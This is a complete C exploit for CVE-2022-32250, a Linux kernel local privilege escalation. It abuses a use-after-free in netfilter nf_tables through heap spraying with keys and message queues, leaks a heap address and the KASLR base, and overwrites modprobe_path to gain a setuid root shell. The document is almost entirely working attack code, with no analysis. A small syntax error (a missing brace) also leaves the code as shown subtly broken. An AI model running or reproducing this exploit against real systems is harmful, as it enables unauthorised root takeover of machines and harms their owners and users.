[Linux Kernel LPE] CVE-2022-32250

// gcc -o exploit exploit.c -l mnl -l nftnl -w
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <assert.h>
#include <netinet/in.h>
#include <stdint.h>
#include <syscall.h>
#include <mqueue.h>
#include <linux/io_uring.h>
#include <linux/keyctl.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <time.h>
#include <sys/stat.h>

typedef int32_t key_serial_t;
static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid)
{
    return syscall(__NR_add_key, type, description, payload, plen, ringid);
}

static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
    return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
}

static inline key_serial_t revoke_key(key_serial_t key)
{
    return keyctl(KEYCTL_REVOKE, key, 0, 0, 0);
}

static inline key_serial_t unlink_key(key_serial_t key, key_serial_t ringid)
{
    return keyctl(KEYCTL_UNLINK, key, ringid, 0, 0);
}

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];

    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);

    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);

    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);

    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);

    return;
}

void add_table(struct mnl_socket* nl, const char *table_name) {
    // https://git.netfilter.org/libnftnl/tree/examples/nft-table-add.c
    char buf[MNL_SOCKET_BUFFER_SIZE];
    struct nlmsghdr *nlh;
    uint32_t portid, seq, table_seq, family;
    struct nftnl_table *t;
    struct mnl_nlmsg_batch *batch;

    family = NFPROTO_IPV4;

    t = nftnl_table_alloc();
    nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
    nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name);
    // nftnl_table_set_u32(t, NFTNL_TABLE_FLAGS, 0);
    
    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    table_seq = seq;
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                    NFT_MSG_NEWTABLE, family,
                    NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, t);
    nftnl_table_free(t);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                  mnl_nlmsg_batch_size(batch)) < 0) {
        perror("mnl_socket_send");
        exit(EXIT_FAILURE);
    }
}

void add_set(struct mnl_socket *nl, const char *table_name, const char *set_name) {
    // https://git.netfilter.org/libnftnl/tree/examples/nft-set-add.c
    struct nftnl_set *s;
    struct nlmsghdr *nlh;
    struct mnl_nlmsg_batch *batch;
    uint8_t family;
    char buf[MNL_SOCKET_BUFFER_SIZE];
    uint32_t seq = time(NULL);
    int ret;

    family = NFPROTO_IPV4;

    s = nftnl_set_alloc();
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
    /* inet service type, see nftables/include/datatypes.h */
    nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
    nftnl_set_set_u32(s, NFTNL_SET_ID, 1);

    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                    NFT_MSG_NEWSET, family,
                    NLM_F_CREATE | NLM_F_ACK, seq++);

    nftnl_set_nlmsg_build_payload(nlh, s);
    nftnl_set_free(s);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                mnl_nlmsg_batch_size(batch));
    if (ret == -1) {
        perror("mnl_socket_sendto");
        exit(EXIT_FAILURE);
    }
}

void add_lookup(struct mnl_socket *nl, const char *table_name, const char *set_name, const char *lookup_set_name) {
    uint8_t sreg;
    struct nftnl_set *s;
    struct nftnl_expr *e;
    uint8_t family;
    struct nlmsghdr *nlh;
    struct mnl_nlmsg_batch *batch;
    char buf[MNL_SOCKET_BUFFER_SIZE];
    uint32_t seq = time(NULL);
    int ret;

    sreg = NFT_REG_1;
    family = NFPROTO_IPV4;

    s = nftnl_set_alloc();
    nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
    /* inet service type, see nftables/include/datatypes.h */
    nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
    nftnl_set_set_u32(s, NFTNL_SET_ID, 2);
    
    nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFTA_SET_EXPR);

    e = nftnl_expr_alloc("lookup");
    nftnl_expr_set_u32(e, NFTNL_EXPR_LOOKUP_SREG, sreg);
    nftnl_expr_set_str(e, NFTNL_EXPR_LOOKUP_SET, lookup_set_name);

    nftnl_set_add_expr(s, e);

    if (nl == NULL) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                    NFT_MSG_NEWSET, family,
                    NLM_F_CREATE | NLM_F_ACK, seq++);

    nftnl_set_nlmsg_build_payload(nlh, s);
    nftnl_set_free(s);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                mnl_nlmsg_batch_size(batch));
    if (ret == -1) {
        perror("mnl_socket_sendto");
        exit(EXIT_FAILURE);
    }
}

const char priv_file[] = "/tmp/shell.c\0";
const char dummy_file[] = "/tmp/dummy\0";

const char priv_context[] = "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(int argc, char **argv){if (geteuid() == 0){setuid(0);setgid(0);puts(\"[+] I am root\");system(\"bash\");}}\x00";
const char dummy_content[] = "\xff\xff\xff\xff";
const char new_modprobe_content[] = "#!/bin/bash\n\nchmod -R 777 /root\nchown root:root /tmp/shell\nchmod 4555 /tmp/shell\n";

void prepare_root_shell(void) {
    create_dummy_file();
    create_priv_file();
}

void create_dummy_file(void) {
    int fd;

    fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
    write(fd, dummy_content, sizeof(dummy_content));
    close(fd);
}

void create_priv_file(void) {
    int fd;

    fd = open(priv_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
    write(fd, priv_context, sizeof(priv_context));
    close(fd);

    system("gcc -o /tmp/shell /tmp/shell.c -w");
}

void write_new_modprobe() {
    int fd, fd_modprobe;
    char modprobe_name[0x10] = {0, };

    fd_modprobe = open("/proc/sys/kernel/modprobe", O_RDONLY);
    read(fd_modprobe, modprobe_name, 14);
    close(fd_modprobe);
    
    printf("[*] current modprobe name: %s\n", modprobe_name);
    fd = open(modprobe_name, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
    if (fd < 0) {
        perror("open");
        exit(EXIT_FAILURE);
    }

    write(fd, new_modprobe_content, sizeof(new_modprobe_content));

    close(fd);
}

void set_cpu_affinity(int cpu_n, pid_t pid) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu_n, &set);

    if (sched_setaffinity(pid, sizeof(set), &set) < 0) {
        perror("sched_setaffinity");
        exit(EXIT_FAILURE);
    }
}

#define KEY_DESC_MAX_SIZE 40 // 64 - 0x18 (to allocate user_key_payload in kmalloc-64)

int main(void) {
    /* initialize */
    int *sema = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
    *sema = 1;

    if (fork()){
        set_cpu_affinity(1, getpid());
        while (*sema);
        prepare_root_shell();
        write_new_modprobe();
        execve("/tmp/dummy", NULL, NULL);
        execve("/tmp/shell", NULL, NULL);
    }

    unshare_setup(getuid(), getgid());
    set_cpu_affinity(0, 0);
    
    struct mnl_socket *nl;

    nl = mnl_socket_open(NETLINK_NETFILTER);

    add_table(nl, "TABLE_1");
    add_table(nl, "TABLE_2");
    add_table(nl, "TABLE_3");

    add_set(nl, "TABLE_1", "SET_1");
    add_set(nl, "TABLE_2", "SET_2");
    add_set(nl, "TABLE_3", "SET_3");

    key_serial_t *id_buffer1 = calloc(50, sizeof(key_serial_t));
    key_serial_t *id_buffer2 = calloc(70, sizeof(key_serial_t));
    key_serial_t *id_buffer3 = calloc(50, sizeof(key_serial_t));

    // https://github.com/torvalds/linux/blob/1722389b0d863056d78287a120a1d6cadb8d4f7b/tools/testing/selftests/mqueue/mq_perf_tests.c
    struct mq_attr attr;
    mqd_t queue1 = -1;
    mqd_t queue2 = -1;

    attr.mq_flags = O_NONBLOCK;
    attr.mq_maxmsg = 10; // cat /proc/sys/fs/mqueue/msg_max
    attr.mq_msgsize = 0x100;

    queue1 = mq_open("/stage2", O_RDWR | O_EXCL | O_CREAT | O_NONBLOCK, DEFFILEMODE, &attr);
    if (queue1 == -1) {
        perror("mq_open");
        exit(EXIT_FAILURE);
    

    queue2 = mq_open("/stage3", O_RDWR | O_EXCL | O_CREAT | O_NONBLOCK, DEFFILEMODE, &attr);
    if (queue2 == -1) {
        perror("mq_open");
        exit(EXIT_FAILURE);
    }

    /* STAGE 1 : leak heap address */
    add_lookup(nl, "TABLE_1", "UAF_1", "SET_1"); // make dangling pointer

    // heap spraying
    char key_desc[KEY_DESC_MAX_SIZE] = "AAAAAAAAA"; // len(key_desc) > 8 -> kmalloc-64

    for (uint32_t i=0; i<50; i++) {
        *(uint64_t*)(key_desc) += 1;
        if ((id_buffer1[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING)) < 0) {
            perror("add_key");
            exit(EXIT_FAILURE);
        }
    }

    add_lookup(nl, "TABLE_1", "UAF_2", "SET_1"); // overwrite user_key_payload->data to dangling pointer (heap address)

    uint8_t buffer[USHRT_MAX] = {0};
    int32_t keylen;
    uint64_t heap_leak;
    
    for (uint32_t i=0; i<50; i++) {
        if (keyctl(KEYCTL_READ, id_buffer1[i], (long)buffer, 0x10, 0) < 0) {
            perror("keyctl");
            exit(EXIT_FAILURE);
        }

        if (!strncmp(&buffer[6], "\xff\xff", 2)) {
            heap_leak = *(uint64_t*)buffer;
            printf("[+] LEAK : 0x%llx\n", heap_leak);
            break;
        }
    }

    /* STAGE 2 : leak KASLR address */
    add_lookup(nl, "TABLE_2", "UAF_3", "SET_2"); // make dangling pointer

    // allocate posix_msg_tree_node to dangling pointer
    if (mq_timedsend(queue1, "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ", 0x28, 0, NULL) < 0) {
        perror("mq_send");
        exit(EXIT_FAILURE);
    }

    add_lookup(nl, "TABLE_2", "UAF_4", "SET_2"); // make dangling pointer

    // link corrupted msg_msg object
    char msg[KEY_DESC_MAX_SIZE];
    
    memcpy(msg     , &heap_leak, 0x8);  // m_list.next
    memcpy(msg+0x8 , &heap_leak, 0x8);  // m_list.prev
    memcpy(msg+0x10, "BBBBBBBB", 0x8);  // m_type
    *(size_t*)(msg+0x18) = 0x28;        // m_ts

    // heap spraying
    for (int i=0; i<70; i++) {
        *(uint64_t*)(msg+0x10) += 1;
        if ((id_buffer2[i] = add_key("user", msg, msg, 0x20, KEY_SPEC_PROCESS_KEYRING)) < 0) {
            perror("add_key");
            exit(EXIT_FAILURE);
        }
    }

    // revoke key -> write user_free_payload_rcu address to rcu->func
    for (int i=0; i<70; i++) {
        if (revoke_key(id_buffer2[i]) < 0) {
            perror("revoke_key");
            exit(EXIT_FAILURE);
        }
    }

    // read user_key_payload->rcu->func (user_free_payload_rcu)
    uint64_t kaslr_base = 0;

    if ((mq_timedreceive(queue1, buffer, 0x100, NULL, NULL) != -1)) {
        kaslr_base = *(uint64_t*)buffer - 0x4a80c0;
    }

    if (((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000) || ((kaslr_base & 0xffff) != 0x00000)) {
        printf("[-] failed to leak KASLR base... (0x%llx)\n", kaslr_base);
        exit(EXIT_FAILURE);
    }

    printf("[+] KASLR Base : 0x%llx\n", kaslr_base);

    sleep(1);

    /* STAGE 3 : overwrite modprobe_path */
    // overwrite (modprob_path + 1)
    //      /sbin/modprobe
    // ->   /tmp/????probe (???? -> upper 4 bytes of heap_leak)
    uint64_t modprobe_path = kaslr_base + 0x186cf20;
    printf("[+] modprobe_path addr : 0x%llx\n", modprobe_path);

    add_lookup(nl, "TABLE_3", "UAF_5", "SET_3"); // make dangling pointer

    // allocate posix_msg_tree_node to dangling pointer
    if (mq_timedsend(queue2, "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ", 0x28, 1, NULL) != 0) {
        perror("mq_send");
        exit(EXIT_FAILURE);
    }

    add_lookup(nl, "TABLE_3", "UAF_6", "SET_3"); // make dangling pointer

    // msg_get(prev, next)
    // m_list.next->prev = prev
    // m_list.prev->next = next
    uint64_t new_modprobe_path = (heap_leak & 0xffffffff00000000) + 0x2f706d74;
    *(uint64_t*)(msg) = modprobe_path - 8 + 1;  // m_list.next
    *(uint64_t*)(msg+8) = new_modprobe_path;    // m_list.prev
    memcpy(msg+0x10, "CCCCCCCC", 0x8);          // m_type
    *(size_t*)(msg+0x18) = 0x28;                // m_ts

    // heap spraying
    for (uint32_t i=0; i<50; i++) {
        *(uint64_t*)(msg+0x10) += 1;
        if ((id_buffer3[i] = add_key("user", msg, msg, 0x20, KEY_SPEC_PROCESS_KEYRING)) < 0) {
            perror("add_key");
            exit(EXIT_FAILURE);
        }
    }

    // overwrite modprobe_path
    mq_timedreceive(queue2, buffer, 0x100, NULL, NULL);
    sleep(1);

    /* get shell */
    *sema = 0;

    while(1);
}